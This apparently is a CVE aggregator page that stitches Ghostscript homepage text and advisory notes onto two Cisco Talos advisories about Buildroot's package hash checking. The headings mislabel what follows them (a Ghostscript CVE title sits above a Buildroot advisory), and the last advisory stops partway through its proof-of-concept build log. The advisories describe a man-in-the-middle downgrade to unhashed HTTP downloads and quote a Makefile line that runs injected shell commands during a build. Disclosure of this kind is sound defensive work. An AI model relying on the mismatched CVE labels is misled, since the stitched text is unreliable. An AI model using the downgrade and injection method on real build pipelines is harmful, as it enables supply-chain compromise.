An issue was discovered in the function gdev_prn_open_printer_seekable() in Artifex Ghostscript through 10.02.0 allows remote attackers to crash the application via a dangling pointer.

Ghostscript is an interpreter for the PostScript®  language and PDF files. It is available under either the GNU GPL Affero license or  licensed for commercial use from Artifex Software, Inc. It has been under active development for over 30 years and has been ported to several different systems during this time. Ghostscript consists of a PostScript interpreter layer and a graphics library.

There are a family of other products, including GhostPCL, GhostPDF, and GhostXPS that are built upon the same graphics library. Between them, this family of products offers native rendering of all major page description languages. Our latest product, GhostPDL, pulls all these languages into a single executable.

Full descriptions of these products can be found on our documentation introduction.

In addition to rendering to raster formats, Ghostscript offers high-level conversion through our vector output devices.

Written entirely in C, Ghostscript runs on various embedded operating systems and platforms including Windows, macOS, the wide variety of Unix and Unix-like platforms, and VMS systems.

**Current Release**

The current Ghostscript release 10.02.1 can be downloaded here.

**NEW in this Release**

*   Old PDF Interpreter has now been removed - see https://ghostscript.com/blog/pdfi.html for more details
*   And more! Review the full release notes.

**The Ghostscript Blog**

Find news, articles and developer notes from the Ghostscript engineering team on the blog.

**Security Advisory**

*   *   November 1, 2023: Ghostscript/GhostPDL 10.02.1 release fixes CVE-2023-46751.
        
    *   CVE-2023-46751 affects _all_ Ghostscript/GhostPDL versions prior to 10.02.1.
        
    *   CVE-2023-46751 is a shell command injection/remote code execution risk, so we recommend upgrading to version 10.02.1 as a matter of urgency
        
    
    *   September 18, 2023: Ghostscript/GhostPDL 10.02.0 release fixes CVE-2023-43115.
        
    *   CVE-2023-43115 affects _all_ Ghostscript/GhostPDL versions prior to 10.02.0.
        
    *   CVE-2023-43115 is a remote code execution risk, so we recommend upgrading to version 10.02.0 as a matter of urgency
        
    
    *   June 27, 2023: Ghostscript/GhostPDL 10.01.2 release fixes CVE-2023-36664.
        
    *   CVE-2023-36664 affects _all_ Ghostscript/GhostPDL versions prior to 10.01.2.
        
*   April 3, 2023: Ghostscript/GhostPDL 10.01.1 release fixes CVE-2023-28879.
    
*   April 4, 2022: Ghostscript/GhostPDL 9.56.1 bundles zlib 1.2.12 which addresses CVE-2018-25032.
    
*   December 16, 2021: Apache Log4J vulnerability – GHOSTSCRIPT NOT AFFECTED – For more info: CVE-2021-44228
    

**Related projects**

*   Memento: A memory debugging library for C (or C++) programs.
*   jbig2dec: A JBIG2 image decoder.

CVE-2023-46751: Ghostscript

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.This vulnerability is related to the `mxsldr` package.

**SUMMARY**

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from, and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.

In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error, unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file, and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 1. Indeed, we identified 5 packages that miss a .hash file:

*   two of them (aufs and aufs-util) also specify a _SITE with an http:// schema, meaning that a man-in-the-middle attacker could supply any source package to Buildroot.
*   the remaining three packages (riscv64-elf-toolchain, versal-firmware and mxsldr) specify an https:// schema. However, because the default BR2_BACKUP_SITE is set to http://sources.buildroot.net (note the http:// schema), a man-in-the-middle attacker could supply any source package in this case too. To force Buildroot to use the fallback URL, it’s enough to drop HTTPS requests to the primary site (which is easy to do when we assume a MITM position). This will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri.

Also note, while a warning is printed for the check at \[6\], this can be very easily overlooked given the verbosity of the output, especially if we consider it may run in a CI (Continuous Integration) pipeline.

Because packages can ship patch files or Makefiles, by supplying a compromised source package an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.

For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

Below all the affected packages are listed separately.

**CVE-2023-45838 - aufs**

aufs fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45839 - aufs-util**

aufs-util fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45840 - riscv64-elf-toolchain**

riscv64-elf-toolchain fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45841 - versal-firmware**

versal-firmware fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45842 - mxsldr**

mxsldr fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to git.denx.de on port 443, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    linux-6.5.6.tar.xz: OK (sha256: 78e36d4214547051c24df2140f4ce09428d6c515ad9a71b38b28e8094a95d2f6)
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    >>> host-mxsldr 2793a657ab7a22487d21c1b020957806f8ae8383 Downloading
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 5 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 2 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' 'http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz'
    --2023-10-11 13:48:21--  http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 104.26.1.37, 172.67.72.56
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output'
    
    /tmp/builddir/build/.mxsldr-2793a657ab7a2248     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 13:48:21 (27.1 MB/s) - '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' saved [160]
    
    WARNING: no hash file for mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    libusb-1.0.26.tar.bz2: OK (sha256: 12ce7a61fc9854d1d2a1ffe095f7b5fac19ddba095c259e6067a46500381b5a5)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-45842: TALOS-2023-1844 || Cisco Talos Intelligence Group

A data integrity vulnerability exists in the BR_NO_CHECK_HASH_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**SUMMARY**

A data integrity vulnerability exists in the BR\_NO\_CHECK\_HASH\_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions defined in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.  
In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match, check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 3. This seems to be commonly used to skip integrity checks for resources that can’t be easily hashed (for example, developement resources that change often). It is also used when building specific versions of a package, for which hashes may not be available in Buildroot’s sources.

For example, the Linux Kernel Buildroot Makefile (linux/linux.mk):

    ...
    ifeq ($(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION),y)
        BR_NO_CHECK_HASH_FOR += $(LINUX_SOURCE)
    endif
    ...
    

If both BR2_LINUX_KERNEL and BR2_LINUX_KERNEL_LATEST_VERSION where enabled, the result of $(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION) would be yy.  
So, the ifeq checks if BR2_LINUX_KERNEL_LATEST_VERSION is NOT selected, in which case it adds linux-<version>-br1.tar.gz to the BR_NO_CHECK_HASH_FOR variable.

This is, however, problematic in some setups. For example, consider this Buildroot minimal configuration:

    BR2_LINUX_KERNEL=y
    BR2_LINUX_KERNEL_CUSTOM_GIT=y
    BR2_LINUX_KERNEL_CUSTOM_REPO_URL="https://192.168.50.50"
    BR2_LINUX_KERNEL_CUSTOM_REPO_VERSION="123"
    

This defines a custom repository for fetching the Linux Kernel, so it may be important to only fetch the sources from that repository, for Linux specifically. This will work fine the majority of the time. However, if an attacker is able to drop connections towards 192.168.50.50, this will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri. The next $uri is going to be http://sources.buildroot.net/linux/linux-123-br1.tar.gz, because of the default BR2_BACKUP_SITE variable. This will lead to downloading Linux Kernel sources via plain HTTP without performing any hash checks.

Since the Linux Kernel can ship patch files or Makefiles, by supplying a compromised source package, an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.  
For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to 192.168.50.50, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
